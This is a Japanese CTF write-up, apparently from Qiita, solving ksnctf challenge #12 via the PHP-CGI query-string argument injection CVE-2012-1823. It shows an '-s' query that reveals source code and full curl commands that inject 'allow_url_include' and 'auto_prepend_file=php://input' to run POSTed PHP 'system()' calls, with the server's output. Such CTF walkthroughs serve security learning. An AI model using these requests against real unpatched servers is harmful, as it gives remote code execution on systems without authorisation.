Help us understand the problem. What is going on with this article?

CVE-2012-1823 ~ ksnctf #12 Hypertext Preprocessor ~

More than 1 year has passed since last update.

概要

ksnctfの12問目、PHPの脆弱性であるCVE-2012-1823に関する問題のWrite Upになります。
個人的に興味深かったのでまとめました。

解説

以下の問題文中にあるリンクにアクセスすると以下のような文字列が表示されます。
http://ctfq.sweetduet.info:10080/~q12/


全く何の事だかわからないので先頭の文字列(8文字)を検索してみます。
するとCVE (Common Vulnerabilities and Exposures) 番号であることがわかりました。
CVE-2012-1823は以下のサイトで詳細に解説されています。
https://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html


当該脆弱性はPHP CGIを実行する際にオプションを指定できるというもので、
例えば以下のURLにアクセスした場合は、
http://example.jp/test.cgi?foo+bar+baz

以下のように実行したことと同じになります。

php test.cgi foo bar baz


当該脆弱性を用いて、まずはサイトのソースを表示したいと思います。
'-s' オプションを指定することでスクリプトの内容を表示できるようなので以下のようにアクセスします。
http://ctfq.sweetduet.info:10080/~q12/index.php?-s

上記の場合は 'php -s index.php' を実行したことになるので以下のようなレスポンスが返ってきました。

<?php

    //  Flag is in this directory.

    date_default_timezone_set('UTC');

    $t = '2012:1823:20:';
    $t .= date('y:m:d:H:i:s');
    for($i=0;$i<4;$i++)
        $t .= sprintf(':%02d',mt_rand(0,59));
?>
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>Clock</title>
    <style>
      body
      {
        background: black;
      }
      p
      {
        color: red;
        font-size: xx-large;
        font-weight: bold;
        text-align: center;
        margin-top: 200px;
      }
    </style>
  </head>
  <body>
    <p><?php echo $t; ?></p>
  </body>
</html>

これで内容は確認できました。


ソースコードには以下のメッセージがありました。

//  Flag is in this directory.

どうやらフラグは当該スクリプトと同じディレクトリ内にあるようです。


次は当該ディレクトリを表示する必要があります。
これも先ほどと同様の脆弱性を利用します。


'-d' を使用し php.ini のディレクティブを外部から指定します。
使用するのは以下の2つです。

allow_url_include=On
auto_prepend_file=php://input

1つ目は include するファイルをURL指定でリモートから読み出すことを許可するもの、
2つ目はPHP実行に先立ちスクリプトをincludeしておくものですが、ファイル名として php://input を指定しているので、POSTパラメータとして送信した内容をPHPスクリプトとして実行します。
両者の組み合わせにより、外部から指定したスクリプトを実行することができるようになります。

ここでcurlでリクエストを送信してみます。
PHPスクリプトとしてPOSTで送信する内容はsystem関数で 'ls -al' を実行し、カレントディレクトリ内を表示するものになっています。

$ curl "http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" -X POST -d "<?php system('ls -al'); ?>"
total 18668
dr-x--x--x 2 q12  q12      4096 Jan 26 23:10 .
drwx--x--x 3 root root     4096 Jan 26 23:10 ..
-r--r--r-- 1 q12  q12        90 Jan 26 23:10 .htaccess
-r-------- 1 q12  q12        22 Jan 26 23:10 flag_flag_flag.txt
-r-xr-xr-x 1 q12  q12       600 Jan 26 23:10 index.php
-r-xr-xr-x 1 q12  q12  19093315 Jan 26 23:10 php.cgi
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>Clock</title>
    <style>
      body
      {
        background: black;
      }
      p
      {
        color: red;
        font-size: xx-large;
        font-weight: bold;
        text-align: center;
        margin-top: 200px;
      }
    </style>
  </head>
  <body>
    <p>2012:1823:20:18:01:26:14:15:36:01:10:43:52</p>
  </body>
</html>

フラグが記述されていると思しきファイルを発見しました。


では次にフラグを読んでいきます。
ファイル名はわかったので先ほどと同じ方法で 'cat flag_flag_flag.txt' を実行します。

$ curl "http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" -X POST -d "<?php system('cat flag_flag_flag.txt'); ?>"
FLAG_ZysbiGgbHrN3f9zs
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>Clock</title>
    <style>
      body
      {
        background: black;
      }
      p
      {
        color: red;
        font-size: xx-large;
        font-weight: bold;
        text-align: center;
        margin-top: 200px;
      }
    </style>
  </head>
  <body>
    <p>2012:1823:20:18:01:26:14:17:50:26:01:54:46</p>
  </body>
</html>

上記からフラグの内容が確認できました。

最後に

面白い問題だったので個人的に詳細まで解説したつもりですが
わかりづらい点や説明不足な点があれば指摘していただけると幸いです。

0n1shi
低レイヤ好きのソフトウェアエンジニア。 SAKURA Internet Inc. /Linux/Kernel/CPU/Container/Virtualization/Pwn/C/Assembly
https://0n1shi.github.io/
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away